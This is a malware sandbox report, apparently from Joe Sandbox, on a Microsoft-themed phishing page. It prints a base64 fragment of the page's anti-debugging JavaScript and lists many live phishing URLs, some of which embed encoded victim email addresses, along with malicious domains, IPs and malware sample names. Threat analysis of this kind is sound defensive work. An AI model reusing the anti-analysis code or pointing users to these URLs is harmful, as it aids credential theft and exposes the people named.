JiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQpIeW5McVdvbFBDID0gZmFsc2U7DQooZnVuY3Rpb24gRmhVakh4RExWVSgpIHsNCiAgICBsZXQgc2pWQmRoZUtxayA9IGZhbHNlOw0KICAgIGNvbnN0IE9vY2NZUFFqWG0gPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IEdFTG1UTnVncUIgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAg
URL: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpagar@condenast.com.mx Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cciq.absousium.ru/o5b8DXA/#V#Xcuentasporpagar@condenast.com.mx Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "2wr6o3@cos.ic" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This username may be incorrect. Make sure you typed it correctly. Otherwise, contact your admin.", "prominent_button_name": "Next", "text_input_field_labels": [ "2wr6o3@cos.io" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.21.42.208	Sburkholder.pdf	Get hash	malicious	Unknown	Browse
	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse
	https://t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//www.google.co.nz/url?q=k8pQvvqad5fe5yj7Y00xDjnlx9kIHvsdvds44vs4d4aAkImPuQvsdv44WtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRvdsvsdvswqyicT&sa=t&url=amp/yesmotoring.com.sg/upthere/running/8mspbf71i0mf51h0zfhwhu2z/cGhpbC5sZXNzYXJkQG1vZHVsYS5jb20=&ago=212&ao=817&aca=-11&si=-11&ci=-11&pi=-11&ad=-11&sv1=-11&advt=-11&chnl=-11&vndr=1363&sz=539&u=eTLPPreWarranty%7CConsumer&red=http://www.lampsplus.com/?sourceid=eTLPPreWarranty&cm_mmc=TRA-EM-_-LP-_-eTLPPreWarranty-_-tlogo&counterid=tlogo	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://www.google.at/url?sa==ChR6Fb4oMA7qoNPeAF0HryTWGOi&rct=mCcPfNgQLHn7TqSCLwLAghdNeRqdmhaOmrXNGpkofpekJnfvmVMTgxKB7tJBUVJOPR&sa=t&url=amp/joister.net/tt/ttt/NnDmPaDN5vfTnmu2pfF1Y4Kbkrm/aW5mb0BhY2FnbG9iYWwuY29t	Get hash	malicious	Unknown	Browse
	https://ik.imagekit.io/nrof2h909/Paul%20W.%20Shaffer.pdf?updatedAt=1736369068440	Get hash	malicious	HTMLPhisher	Browse
	https://ar.inderave.ru/jKDI30/#Tapodoll@wc.com	Get hash	malicious	HTMLPhisher	Browse
	https://clicktoviewdocumentonadovemacroreader.federalcourtbiz.com/lhvBR/?e=amFtZXMuYm9zd2VsbEBvdmVybGFrZWhvc3BpdGFsLm9yZw==	Get hash	malicious	HTMLPhisher	Browse
	https://workdrive.zohopublic.com/writer/open/p369v1c9203e54b114ff78bf68159454d9c26	Get hash	malicious	Unknown	Browse
	https://workdrive.zohopublic.com/writer/open/p369v39db425d23f84b09b5751cf359b081f4	Get hash	malicious	Unknown	Browse
	Play_VM-NowAccountingAudiowav011.html	Get hash	malicious	Unknown	Browse
	https://www.google.at/url?sa==60Pms7JnShWaY3TYp1tJfM6oLKC&rct=0GbqKUbKEUOA0yP6gBhAVbg0AlI6i1vFvwuOapuWmP7TbqjETP71sUvBq6eZihhNTt&sa=t&url=amp/growingf8th.org/t2dolalrwe/yNRMR4AUS6ZyXKIlbmuYFZ8PYol/cGF0ZS5yb3dlbGxAY2hlcm9rZWVicmljay5jb20=	Get hash	malicious	Unknown	Browse
	Selvi Payroll Benefits & Bonus Agreementfdp.pdf	Get hash	malicious	Unknown	Browse
	https://e.trustifi.com/#/fff2a0/670719/6dc158/ef68bf/5e1243/19ce62/f4cd99/c6b84a/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d78873/cd64d0/869af2/e9ab57/7015c1/91dda7/f34c0a/f30b47/688cba/a1d645/18dc79/33d9f9/9ee0a0/c61099/8f2456/8e1864/996369/790047/a93a09/347b17/38082d/363d49/f88c07/81bae2/57a7bb/6027c6/942952/b2de1b/e98aef/6a05c2/91297b/c70871/7f29c3/0a450d/ad0cac/967c2a/e7cb67/6e1193/8c4088/13aef1/e1d296/5056d4/51a97e/89a35b/c13e69/fa274a/5b7c2e/a8c901/02856f/1e0211/03ca84/d7b573/7e0de3/e2bdbb/7cab47/4dd465/addb41/2076e1/85559c/dbcb2d/514505/a6a54e/41e864/abb5a5/e59e4b/8c2df6/7e5cf3/b648da/8fbd98/4c7d8a/08e6a3/72f66f/a49cc6/18211b/1e6a5c/0d4fde	Get hash	malicious	HTMLPhisher	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://global.mymidasbuy.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://ar.inderave.ru/jKDI30/#Tapodoll@wc.com	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	ZipThis.exe	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://clicktoviewdocumentonadovemacroreader.federalcourtbiz.com/lhvBR/?e=amFtZXMuYm9zd2VsbEBvdmVybGFrZWhvc3BpdGFsLm9yZw==	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	VM_MSG-Gf.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://workdrive.zohopublic.com/writer/open/p369v1c9203e54b114ff78bf68159454d9c26	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://workdrive.zohopublic.com/writer/open/p369v39db425d23f84b09b5751cf359b081f4	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://eldivan.mx/?data=c2dlcmplc0BmaXJzdGFyLWJhbmsuY29t	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Play_VM-NowAccountingAudiowav011.html	Get hash	malicious	Unknown	Browse	104.17.24.14
s-part-0033.t-0009.t-msedge.net	Play_VM-NowAccountingAudiowav011.html	Get hash	malicious	Unknown	Browse	13.107.246.61
	https://jmak-service.com/3225640388	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	audio.mp3_JasonhTranscript.html	Get hash	malicious	Unknown	Browse	13.107.246.61
	Onedrive Shared document.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	https://app.saner.ai/shared/notes/7353e5ae-dd5f-410b-92c3-210c9e88052a	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	1735939565593f5d6bf694464eb338b020a826ec212acacc46d4424bb914edbae3d507116e469.dat-decoded.exe	Get hash	malicious	LiteHTTP Bot	Browse	13.107.246.61
	cJ6xbAA5Rn.exe	Get hash	malicious	Unknown	Browse	13.107.246.61
	LEmJJ87mUQ.exe	Get hash	malicious	Lokibot	Browse	13.107.246.61
	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	HTMLPhisher	Browse	13.107.246.61
	http://nxejt.polluxcastor.top	Get hash	malicious	Unknown	Browse	13.107.246.61
ecohomethings.net	Play_VM-NowAccountingAudiowav011.html	Get hash	malicious	Unknown	Browse	103.83.194.55
code.jquery.com	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252F8fi5.veracidep.ru%2525252F9rQQ7pYZ%2525252F%25252FGnrm%25252FJIy6AQ%25252FAQ%25252Fc8a642e1-b752-489d-a606-2e0c28c9f43c%25252F1%25252Fp3ItI-koyL%252FGnrm%252FJYy6AQ%252FAQ%252F96a81154-bc5a-4dec-811a-9ad4ee762256%252F1%252FydnKIiaQi0%2FGnrm%2FJoy6AQ%2FAQ%2F9c58c880-73af-4c48-9b37-4983856d006d%2F1%2FdSmT7Kur-Y/Gnrm/J4y6AQ/AQ/dd03067b-b850-464f-b99d-a4582f20c822/1/nPxHYVfVwy#bWF5cmFAYnVpbGRpbmdiYWNrdG9nZXRoZXIub3Jn	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252F8fi5.veracidep.ru%2525252F9rQQ7pYZ%2525252F%25252FGnrm%25252FJIy6AQ%25252FAQ%25252Fc8a642e1-b752-489d-a606-2e0c28c9f43c%25252F1%25252Fp3ItI-koyL%252FGnrm%252FJYy6AQ%252FAQ%252F96a81154-bc5a-4dec-811a-9ad4ee762256%252F1%252FydnKIiaQi0%2FGnrm%2FJoy6AQ%2FAQ%2F9c58c880-73af-4c48-9b37-4983856d006d%2F1%2FdSmT7Kur-Y/Gnrm/J4y6AQ/AQ/dd03067b-b850-464f-b99d-a4582f20c822/1/nPxHYVfVwy#aGVleW91bmcubGVlbUB0aGVodWJwcm9qZWN0Lm9yZw==	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://ar.inderave.ru/jKDI30/#Tapodoll@wc.com	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://google.com/amp/s/theoralbibleschool.com%2Fbendighyti%2Flocalkenej%2FP%2Fc29tZW9uZUB3aGF0LmNvbQ	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	ZipThis.exe	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://clicktoviewdocumentonadovemacroreader.federalcourtbiz.com/lhvBR/?e=amFtZXMuYm9zd2VsbEBvdmVybGFrZWhvc3BpdGFsLm9yZw==	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	VM_MSG-Gf.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://workdrive.zohopublic.com/writer/open/p369v1c9203e54b114ff78bf68159454d9c26	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://workdrive.zohopublic.com/writer/open/p369v39db425d23f84b09b5751cf359b081f4	Get hash	malicious	Unknown	Browse	151.101.2.137
	Play_VM-NowAccountingAudiowav011.html	Get hash	malicious	Unknown	Browse	151.101.66.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://mail.voipmessage.uk/XZmNVMGRWSjAyR3hxcDF0LzhSdGt1ZFZjdG0vUU9uWWRDQXI2eXJwbnNYd0FnNE9TWjhBNncyakhQSlRKa0poSEVkY09KRzlaVG9SSGM4NSt2bHh3M0h4eHpwKzZNZlpMUU9rWklrRlg2R0R3ak9qbVA4T21TZXpzYUxJazlsaVo0ODNubmNtS1ZuQTdWL1dLa3kvZVpKeU5WOUJWUVRFMHcxRWhsODJKQTdVV2NSUmloaFBtRWdiL1lGQ0VCOTNUUjVmSE1nPT0tLVpvYUVQQVVmdkNSZmR3ZUItLWhoMjNyU1ZFSWhzclZVc0cwdTEwS0E9PQ==?cid=305193241	Get hash	malicious	KnowBe4	Browse	104.17.247.203
	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252F8fi5.veracidep.ru%2525252F9rQQ7pYZ%2525252F%25252FGnrm%25252FJIy6AQ%25252FAQ%25252Fc8a642e1-b752-489d-a606-2e0c28c9f43c%25252F1%25252Fp3ItI-koyL%252FGnrm%252FJYy6AQ%252FAQ%252F96a81154-bc5a-4dec-811a-9ad4ee762256%252F1%252FydnKIiaQi0%2FGnrm%2FJoy6AQ%2FAQ%2F9c58c880-73af-4c48-9b37-4983856d006d%2F1%2FdSmT7Kur-Y/Gnrm/J4y6AQ/AQ/dd03067b-b850-464f-b99d-a4582f20c822/1/nPxHYVfVwy#bWF5cmFAYnVpbGRpbmdiYWNrdG9nZXRoZXIub3Jn	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	I334hDwRjj.exe	Get hash	malicious	Blank Grabber, Njrat	Browse	162.159.137.232
	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://irpf2025.imbrava.com.br/	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	https://keycaptoys.com/	Get hash	malicious	Unknown	Browse	23.227.38.70
	https://www.google.at/url?sa==ChR6Fb4oMA7qoNPeAF0HryTWGOi&rct=mCcPfNgQLHn7TqSCLwLAghdNeRqdmhaOmrXNGpkofpekJnfvmVMTgxKB7tJBUVJOPR&sa=t&url=amp/joister.net/tt/ttt/NnDmPaDN5vfTnmu2pfF1Y4Kbkrm/aW5mb0BhY2FnbG9iYWwuY29t	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://www.padlockskeyed-shop.com/	Get hash	malicious	Unknown	Browse	172.67.147.75
	http://synthex.cheating.store/	Get hash	malicious	Unknown	Browse	104.16.79.73
FASTLYUS	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252F8fi5.veracidep.ru%2525252F9rQQ7pYZ%2525252F%25252FGnrm%25252FJIy6AQ%25252FAQ%25252Fc8a642e1-b752-489d-a606-2e0c28c9f43c%25252F1%25252Fp3ItI-koyL%252FGnrm%252FJYy6AQ%252FAQ%252F96a81154-bc5a-4dec-811a-9ad4ee762256%252F1%252FydnKIiaQi0%2FGnrm%2FJoy6AQ%2FAQ%2F9c58c880-73af-4c48-9b37-4983856d006d%2F1%2FdSmT7Kur-Y/Gnrm/J4y6AQ/AQ/dd03067b-b850-464f-b99d-a4582f20c822/1/nPxHYVfVwy#bWF5cmFAYnVpbGRpbmdiYWNrdG9nZXRoZXIub3Jn	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	151.101.192.176
	http://synthex.cheating.store/	Get hash	malicious	Unknown	Browse	199.232.196.193
	http://thehalobun.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxsYmJ5tlN1JIFNOQtoSEGkLgECYxMchW4UXMllXUALJmesTsjgTR1H-2FvUTVSSAEe4R1GQy-2Bvbd8Zmmy4leDYmh9UNV6oDPX-2BT4wzcyKrfAdXvv6hKSBoru3q77depPs43qOB1DgUqmMdQP-2BNz7H62jYGp-2BH9nmpPKVjXmtKn9w5STVYGL4aqMBL65ruXSYeXZw-3D-3Didct_tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419OCcA-2Bhorh4noX10R0htjc0oQD2shNvY2qd7sBvACS4ZxcOvRGqgf-2FzJzWjtjVb7R-2Fc1EPJdReLV-2BtujCvON-2Bc7V1MBDoLDS-2FjF655eEyLK512HQYbp-2FAbQ3P7q3sD01OmQtuWrJdDi7i9EqNYnB7vGsmi9YvC3tf2fi-2F59j5CgE2Yo8KxAbs4pwwxMvCRmFfOK49lsAVAfn3guJ7HTuaWX	Get hash	malicious	Unknown	Browse	151.101.129.44
	http://global.mymidasbuy.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252F8fi5.veracidep.ru%2525252F9rQQ7pYZ%2525252F%25252FGnrm%25252FJIy6AQ%25252FAQ%25252Fc8a642e1-b752-489d-a606-2e0c28c9f43c%25252F1%25252Fp3ItI-koyL%252FGnrm%252FJYy6AQ%252FAQ%252F96a81154-bc5a-4dec-811a-9ad4ee762256%252F1%252FydnKIiaQi0%2FGnrm%2FJoy6AQ%2FAQ%2F9c58c880-73af-4c48-9b37-4983856d006d%2F1%2FdSmT7Kur-Y/Gnrm/J4y6AQ/AQ/dd03067b-b850-464f-b99d-a4582f20c822/1/nPxHYVfVwy#aGVleW91bmcubGVlbUB0aGVodWJwcm9qZWN0Lm9yZw==	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://ar.inderave.ru/jKDI30/#Tapodoll@wc.com	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	http://hockey30.com	Get hash	malicious	Unknown	Browse	151.101.193.44
	https://hockey30.com/nouvelles/malaise-en-conference-de-presse-kent-hughes-envoie-un-message-cinglant-a-juraj-slafkovsky/	Get hash	malicious	Unknown	Browse	151.101.65.44
CLOUDFLARENETUS	https://mail.voipmessage.uk/XZmNVMGRWSjAyR3hxcDF0LzhSdGt1ZFZjdG0vUU9uWWRDQXI2eXJwbnNYd0FnNE9TWjhBNncyakhQSlRKa0poSEVkY09KRzlaVG9SSGM4NSt2bHh3M0h4eHpwKzZNZlpMUU9rWklrRlg2R0R3ak9qbVA4T21TZXpzYUxJazlsaVo0ODNubmNtS1ZuQTdWL1dLa3kvZVpKeU5WOUJWUVRFMHcxRWhsODJKQTdVV2NSUmloaFBtRWdiL1lGQ0VCOTNUUjVmSE1nPT0tLVpvYUVQQVVmdkNSZmR3ZUItLWhoMjNyU1ZFSWhzclZVc0cwdTEwS0E9PQ==?cid=305193241	Get hash	malicious	KnowBe4	Browse	104.17.247.203
	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252F8fi5.veracidep.ru%2525252F9rQQ7pYZ%2525252F%25252FGnrm%25252FJIy6AQ%25252FAQ%25252Fc8a642e1-b752-489d-a606-2e0c28c9f43c%25252F1%25252Fp3ItI-koyL%252FGnrm%252FJYy6AQ%252FAQ%252F96a81154-bc5a-4dec-811a-9ad4ee762256%252F1%252FydnKIiaQi0%2FGnrm%2FJoy6AQ%2FAQ%2F9c58c880-73af-4c48-9b37-4983856d006d%2F1%2FdSmT7Kur-Y/Gnrm/J4y6AQ/AQ/dd03067b-b850-464f-b99d-a4582f20c822/1/nPxHYVfVwy#bWF5cmFAYnVpbGRpbmdiYWNrdG9nZXRoZXIub3Jn	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	I334hDwRjj.exe	Get hash	malicious	Blank Grabber, Njrat	Browse	162.159.137.232
	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://irpf2025.imbrava.com.br/	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	https://keycaptoys.com/	Get hash	malicious	Unknown	Browse	23.227.38.70
	https://www.google.at/url?sa==ChR6Fb4oMA7qoNPeAF0HryTWGOi&rct=mCcPfNgQLHn7TqSCLwLAghdNeRqdmhaOmrXNGpkofpekJnfvmVMTgxKB7tJBUVJOPR&sa=t&url=amp/joister.net/tt/ttt/NnDmPaDN5vfTnmu2pfF1Y4Kbkrm/aW5mb0BhY2FnbG9iYWwuY29t	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://www.padlockskeyed-shop.com/	Get hash	malicious	Unknown	Browse	172.67.147.75
	http://synthex.cheating.store/	Get hash	malicious	Unknown	Browse	104.16.79.73
CLOUDFLARENETUS	https://mail.voipmessage.uk/XZmNVMGRWSjAyR3hxcDF0LzhSdGt1ZFZjdG0vUU9uWWRDQXI2eXJwbnNYd0FnNE9TWjhBNncyakhQSlRKa0poSEVkY09KRzlaVG9SSGM4NSt2bHh3M0h4eHpwKzZNZlpMUU9rWklrRlg2R0R3ak9qbVA4T21TZXpzYUxJazlsaVo0ODNubmNtS1ZuQTdWL1dLa3kvZVpKeU5WOUJWUVRFMHcxRWhsODJKQTdVV2NSUmloaFBtRWdiL1lGQ0VCOTNUUjVmSE1nPT0tLVpvYUVQQVVmdkNSZmR3ZUItLWhoMjNyU1ZFSWhzclZVc0cwdTEwS0E9PQ==?cid=305193241	Get hash	malicious	KnowBe4	Browse	104.17.247.203
	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252F8fi5.veracidep.ru%2525252F9rQQ7pYZ%2525252F%25252FGnrm%25252FJIy6AQ%25252FAQ%25252Fc8a642e1-b752-489d-a606-2e0c28c9f43c%25252F1%25252Fp3ItI-koyL%252FGnrm%252FJYy6AQ%252FAQ%252F96a81154-bc5a-4dec-811a-9ad4ee762256%252F1%252FydnKIiaQi0%2FGnrm%2FJoy6AQ%2FAQ%2F9c58c880-73af-4c48-9b37-4983856d006d%2F1%2FdSmT7Kur-Y/Gnrm/J4y6AQ/AQ/dd03067b-b850-464f-b99d-a4582f20c822/1/nPxHYVfVwy#bWF5cmFAYnVpbGRpbmdiYWNrdG9nZXRoZXIub3Jn	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	I334hDwRjj.exe	Get hash	malicious	Blank Grabber, Njrat	Browse	162.159.137.232
	https://redduppgh.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://irpf2025.imbrava.com.br/	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	https://keycaptoys.com/	Get hash	malicious	Unknown	Browse	23.227.38.70
	https://www.google.at/url?sa==ChR6Fb4oMA7qoNPeAF0HryTWGOi&rct=mCcPfNgQLHn7TqSCLwLAghdNeRqdmhaOmrXNGpkofpekJnfvmVMTgxKB7tJBUVJOPR&sa=t&url=amp/joister.net/tt/ttt/NnDmPaDN5vfTnmu2pfF1Y4Kbkrm/aW5mb0BhY2FnbG9iYWwuY29t	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://www.padlockskeyed-shop.com/	Get hash	malicious	Unknown	Browse	172.67.147.75
	http://synthex.cheating.store/	Get hash	malicious	Unknown	Browse	104.16.79.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	http://ns8.lutheranph.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxsYmJ5tlN1JIFNOQtoSEGkLgECYxMchW4UXMllXUALJmesTsjgTR1H-2FvUTVSSAEe4R1GQy-2Bvbd8Zmmy4leDYmh9UNV6oDPX-2BT4wzcyKrfAdXvv6hKSBoru3q77depPs43qOB1DgUqmMdQP-2BNz7H62jYGp-2BH9nmpPKVjXmtKn9w5STVYGL4aqMBL65ruXSYeXZw-3D-3Didct_tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419OCcA-2Bhorh4noX10R0htjc0oQD2shNvY2qd7sBvACS4ZxcOvRGqgf-2FzJzWjtjVb7R-2Fc1EPJdReLV-2BtujCvON-2Bc7V1MBDoLDS-2FjF655eEyLK512HQYbp-2FAbQ3P7q3sD01OmQtuWrJdDi7i9EqNYnB7vGsmi9YvC3tf2fi-2F59j5CgE2Yo8KxAbs4pwwxMvCRmFfOK49lsAVAfn3guJ7HTuaWX	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://ighnjnueuelll.top/1.php?s=mints13%5C	Get hash	malicious	Unknown	Browse	23.1.237.91
	YyVnwn8Zst.exe	Get hash	malicious	DarkWatchman	Browse	23.1.237.91
	Selvi Payroll Benefits & Bonus Agreementfdp.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	mail (4).eml	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://bRH5.bughtswo.com/tgs0/#bW1vb3JlQGVuYWJsZWNvbXAuY29t	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://hallmark.greetingsweb.com/2865d1125997389a?l=22	Get hash	malicious	Unknown	Browse	23.1.237.91
	3e18bdf74f3caef770a7edcf748bdaf0e6a4a21664e69.exe	Get hash	malicious	AsyncRAT, GhostRat	Browse	23.1.237.91
	https://pharteewhi.xyz/	Get hash	malicious	Unknown	Browse	23.1.237.91

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 02:28:31 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9837642929158448
Encrypted:	false
SSDEEP:	48:8adLTTn3HZcidAKZdA19ehwiZUklqehwtfy+3:8qPgnfy
MD5:	D7DE3FA7F20A56B5396139EB7763DFF4
SHA1:	4A555C41F4FC8E88F114D4F43148AEE7AE23591D
SHA-256:	350D3F2418A2AE763A2D924E251D6F25CBFFA08D778F6F95E302B8F5A71272B4
